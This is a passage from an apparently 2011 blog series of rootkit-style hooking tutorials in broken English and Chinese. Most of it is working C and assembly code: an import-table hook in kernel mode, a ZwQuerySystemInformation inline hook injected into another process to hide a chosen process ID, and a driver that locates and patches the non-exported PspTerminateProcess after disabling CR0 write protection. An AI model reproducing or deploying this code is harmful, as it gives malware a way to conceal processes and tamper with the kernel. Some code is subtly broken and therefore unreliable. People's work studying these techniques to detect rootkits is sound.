if(!isOrdinal) // 以名字到处而不是序号
{
//IMAGE_IMPORT_BY_NAME
char* functionName = (char*)( (BYTE*)hMod + (DWORD)thunk->u1.AddressOfData + 2 );
if (_stricmp(functionName, lpFunctionName) == 0 )
{
*pThunk = pImportDesc->FirstThunk;
*pRVA = x;
DbgPrint("%x",( DWORD *)((PBYTE)hMod +pImportDesc->FirstThunk)+x);
ZwClose(hSection);
return 1;
}
}
if(isOrdinal)
{
ZwClose(hSection);
return (DWORD) NULL;
}

x++;
thunk++;
firstThunkList++;
}


if(foundIt==FALSE)
{
ZwClose(hSection);
return 0;
}
ZwClose(hSection);
return 0;

}

Add the function, Chesck this function , Not problem, We already get (DWORD*)( (BYTE*)base + Thunk ) + RVA, Hereto is final work , modify
g_FunctionInMemory = (DWORD*)( (BYTE*)base + Thunk ) + RVA;
.
.
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}

*(PVOID*)g_FunctionInMemory = MyPsGetCurrentProcessId;
DbgPrint("HOOK SUCESS");
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}

Sunday, August 21, 2011

Hook Specials 14 : Ring3 ZwQuerySystemInformation Hook(HideProcess)

Author:cschenhui
Because lurks too long times and past masters already wrote,I belive i must write some text for rookie, Past masters pass.

Rookies often ask analogue or relevant questions.So The article is wrote.I wish the article help some rookes.Because The code is worte to hurry,If show bug, I say sorry.

Code:
__declspec (naked) VOID FunStart(){};

__declspec (naked) VOID ZwQuerySystemInformationProxy()
{
//Backup five bytes.
_asm{
nop
nop
nop
nop
nop
mov ebx,0x88888888 //ZwQuerySystemInformation 方便特征定位
add ebx,5
jmp ebx
}
}

NTSTATUS
NTAPI
ZwQuerySystemInformationCallback(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;

_asm{
push ebx
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call ZwQuerySystemInformationProxy //Let original function execute to finish. Because need to data for us is return with the way, Then modify on data
mov ntStatus,eax
pop ebx
}

if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation)
{
pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
while (TRUE)
{
if (pSystemProcesses->ProcessId==0x12345678) //If PID is need to hide,Modify the data
{
if (pSystemProcesses->NextEntryDelta)
{
//When has process aftet process is hidden,
//Pass us process oneself,Let NextEntryDelta pointe next data block
Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
}
else
{
//When my process in the last one data,last NextEntryDelta of data structure is zero.
//The system can't seach us process.
Prev->NextEntryDelta=0;
}
break;
}
if (!pSystemProcesses->NextEntryDelta) break;
Prev=pSystemProcesses;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
}
return ntStatus;
}

__declspec (naked) VOID FunEnd(){};

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
BOOLEAN bRet=FALSE;
DWORD OldProtect;
DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
BYTE HookCode[5]={0xE9,0,0,0,0};
HANDLE hProcess=NULL;
PVOID RemoteAllocBase=NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;

dwCodeStart = GetFunAddress((PUCHAR)FunStart);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd-dwCodeStart;

hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);

if (hProcess)
{
RemoteAllocBase = VirtualAllocEx(hProcess,
NULL,
dwCodeSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (RemoteAllocBase)
{
printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
g_lpRemoteAllocBase = RemoteAllocBase;
if (ZwQuerySystemInformation)
{
bRet=VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
if (bRet)
{
memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
*HookCode=0xE9;
dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
dwFunAddress -= dwCodeStart;
dwFunAddress += (DWORD)RemoteAllocBase; //Calulate ZwQuerySystemInformationCallback address on objective process
printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n",dwFunAddress);
*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
for (pBuffer=(PUCHAR)dwFunAddress;
pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
pBuffer++
)
{
if (*(DWORD *)pBuffer==0x12345678)
{
*(DWORD *)pBuffer = dwHideId;
break;
}
}
VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
}
}
bRet=WriteProcessMemory(hProcess,
RemoteAllocBase,
(PVOID)dwCodeStart,
dwCodeSize,
NULL
);
if (bRet)
{
bRet=WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
HookCode,
5,
NULL
);
}
}
CloseHandle(hProcess);
}
return bRet;
}

BOOLEAN UnHook(DWORD dwProcessId)
{
HANDLE hProcess=NULL;
BOOLEAN bRet=FALSE;
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);

if (hProcess)
{
bRet = WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
g_lpRemoteAllocBase,
5,
NULL
);
/*VirtualFreeEx(hProcess,
g_lpRemoteAllocBase,
0,
MEM_RELEASE
);*/ //There can't free apply for memory,Because function just in time is called to finished and return the apply for memory,The program may be crash.
}
return bRet;
}

Saturday, August 20, 2011

Hook Specials 13 : Inline hook of Non-export function - PspTerminateProcess

Author:Sysnap

The code is include ....That isn't modified.When search feature code , Not search on non-paging memory. if you moderate modify the code isn't show BSOD.

When some functions is hook on inline hook ssdt, I feel easy.But It is difficult about hook to non-export function ,Check n times, It is succeed finally.

This is define.

NTSTATUS
PspTerminateProcess(
PEPROCESS Process,
NTSTATUS ExitStatus
)

Because there is not export function, Memory seach to position,Watch to used windbg

lkd> u PspTerminateProcess
nt!PspTerminateProcess:
805d23a0 8bff mov edi,edi
805d23a2 55 push ebp
805d23a3 8bec mov ebp,esp
805d23a5 56 push esi
805d23a6 64a124010000 mov eax,dword ptr fs:[00000124h]
805d23ac 8b7508 mov esi,dword ptr [ebp+8]
805d23af 3b7044 cmp esi,dword ptr [eax+44h]
805d23b2 7507 jne nt!PspTerminateProcess+0x1b (805d23bb)

Use dd command
lkd> dd PspTerminateProcess
805d23a0 8b55ff8b a16456ec 00000124 3b08758b
805d23b0 07754470 00000db8 575aebc0 0248be8d
805d23c0 47f60000 12742001 0174868d 56500000
805d23d0 5d237268 ef50e880 086affff 0709f058
805d23e0 e856006a 00004f78 ff85f88b 75ff1e74
805d23f0 07e8570c 57fffffd 4f62e856 f88b0000
805d2400 ea75ff85 00bc8639 06740000 ff04e856
805d2410 c033fffe c25d5e5f cccc0008 cccccccc

The feature code is 8b55ff8b a16456ec 00000124 3b08758b,The feature code is modified front five bytes when we find it on memory.

mov edi,edi
push ebp
mov ebp,esp


ZwQuerySystemInformation枚举内核模块,第一个模块就是我们要

的,PspTerminateThreadByPointer就是在里面

#include "ntddk.h"
#include "InlineHook.h"

PVOID GetUndocumentFunctionAdress()
{

ULONG size,index;
PULONG buf;
ULONG i;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;
ULONG ntosknlBase;
ULONG ntosknlEndAddr;
ULONG curAddr;
NTSTATUS status;
ULONG retAddr;
ULONG code1_sp2=0x8b55ff8b,code2_sp2=0xa16456ec,code3_sp2=0x00000124,code4_sp2=0x3b08758b;

ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
{
DbgPrint("failed alloc memory failed \n");
return 0;
}

status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status ))
{
DbgPrint("failed query\n");
return 0;
}

module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
ntosknlEndAddr=(ULONG)module->Base+(ULONG)module->Size;
ntosknlBase=(ULONG)module->Base;
curAddr=ntosknlBase;
ExFreePool(buf);

for (i=curAddr;i<=ntosknlEndAddr;i++)
{
if ((*((ULONG *)i)==code1_sp2)&&(*((ULONG *)(i+4))==code2_sp2)&&(*((ULONG *)(i+8))==code3_sp2)&&(((ULONG*)(i+12))==code4_sp2))

{

retAddr=i;
DbgPrint("adress is:%x",retAddr);
return retAddr;

}
}
}

VOID Unload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unload Called \r\n");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{

DriverObject->DriverUnload = Unload;
PspTerminateProcess = GetUndocumentFunctionAdress();
return STATUS_SUCCESS;
}

编译一下,加载运行,嗯,DebugView输出了:adress is:805c8620
那就是我们的函数地址找到了,找到地址当然是引用拉
只需这样声明一下:
typedef NTSTATUS (*PSPTERMINATETPROCESS)(
PEPROCESS Process,
NTSTATUS ExitStatus
);
PSPTERMINATETPROCESS PspTerminateProcess;
PspTerminateProcess=(PSPTERMINATETPROCESS)PspTerminateThreadByPointerAdrr;
好了,至此我们就获得了PspTerminateThreadByPointer在内存中的地址,也做了一些工作,

现在PspTerminateThreadByPointer就可以像正常的导出函数一样直接使用了,不过我们是

要它的地址就可以,如果你想用PspTerminateProcess就可以按上面的声明,就可以用.
好了,解决了地址问题,接着就是修改这个地址开始的5个字节
805d23a0 8bff mov edi,edi
805d23a2 55 push ebp
805d23a3 8bec mov ebp,esp
在修改之前应该做一下检查,看我们要HOOK的函数有没有被别人先HOOK了,这是必要的,否

则有可能导致系统崩溃
检查只需要添加一个函数就可以
NTSTATUS CheckPspTerminateProcessIsHook()
{
int i=0;
char *addr = (char *)PspTerminateProcess;

char code[] = { 0x8b, 0xff, 0x55, 0x8b, 0xec};

while(i<5)
{
DbgPrint(" - 0x%02X ", (unsigned char)addr[i]);
if(addr[i] != code[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}

嗯,DriverEntry添加
if(STATUS_SUCCESS != CheckPspTerminateProcessIsHook())
{
DbgPrint("PspTerminateProcess Match Failed !");
return STATUS_UNSUCCESSFUL;
}
编译测试一下,嗯正常没问题,既然没什么问题,那下面我们就开始对这个函数进行inline

hook了,
接着开始核心部分
添加函数
_declspec(naked) T_PspTerminateProcess(
PEPROCESS Process,
NTSTATUS ExitStatus
)
{


_asm
{
mov edi, edi
push ebp
mov ebp ,esp
push [ebp+0ch]
push [ebp+8]
call MyPspTerminateProcess
cmp eax,1
jz end
mov eax,PspTerminateProcess
add eax,5
jmp eax

end:
pop ebp
retn 8
}
}
}

我们就是要修改PspTerminateProcess的前5个字节,代替为一条近jmp指令,跳转到

我们的这个函数里来,在T_PspTerminateProcess里call MyPspTerminateProcess ,MyPspTerminateProcess 是我们的功能函数,就是你hook后想做什么事情,这里我们简单的输出点字符就好

那怎样改PspTerminateProcess的前5个字节,代替为一条jmp

指令,跳到T_PspTerminateProcess里面来呢????????带着问题开始吧

VOID InlineHookPspTerminateProcess()
{


int JmpOffSet;
unsigned char JmpCode[5] = { 0xe9, 0x00, 0x00, 0x00, 0x00 };
KIRQL oldIrql;

if (PspTerminateProcess == 0)
{
DbgPrint("PspTerminateProcess NOT FOUND\n");
return;
}

DbgPrint( "PspTerminateProcess is found at:0x%08x\n", (ULONG)PspTerminateProcess );

DbgPrint("T_PspTerminateProcess is:%x\n",T_PspTerminateProcess);
JmpOffSet= (char*)T_PspTerminateProcess - (char*)PspTerminateProcess - 5;
DbgPrint("JmpOffSet is:%x\n",JmpOffSet);
RtlCopyMemory ( JmpCode+1, &JmpOffSet, 4 );

_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( PspTerminateProcess, JmpCode, 5 );
DbgPrint("PspTerminateProcess is hook now \n");
KeLowerIrql(oldIrql);

_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}

}
好了,测试一下,只需要在DriverEntry添加
InlineHookPspTerminateThreadByPointer();嗯,运行正常,没有蓝屏,呵呵,那就继续
既然在T_PspTerminateProcess里面调用了MyPspTerminateProcess ,那就写这个函数吧,这里只是简单的输出PspTerminateProcess hello,你可以根据需要重写这个函数
int MyPspTerminateProcess(
PEPROCESS Process,
NTSTATUS ExitStatus
)
{
DbgPrint("PspTerminateProcess hello\n");

return 1;
}
返回了1,那cmp eax,1 ,呵呵放行原来的函数执行
好了,现在基本工作都完成了,就写卸载驱动部分
VOID Unload(PDRIVER_OBJECT DriverObject)
{

unsigned char Code[5]={0x8b,0xff,0x55,0x8b,0xec};

_asm
{
CLI
MOV eax, CR0
AND eax, NOT 10000H
MOV CR0, eax

pushad
mov edi, PspTerminateProcess
mov eax, dword ptr Code[0]
mov [edi], eax
mov al, byte ptr Code[4]
mov [edi+4], al
popad

MOV eax, CR0
OR eax, 10000H
MOV CR0, eax
STI
}

DbgPrint("Unload Called \r\n");

}
到此,我们的工作基本完成了,不过这只是一个测试的,还有待加强,运行后就是下面这样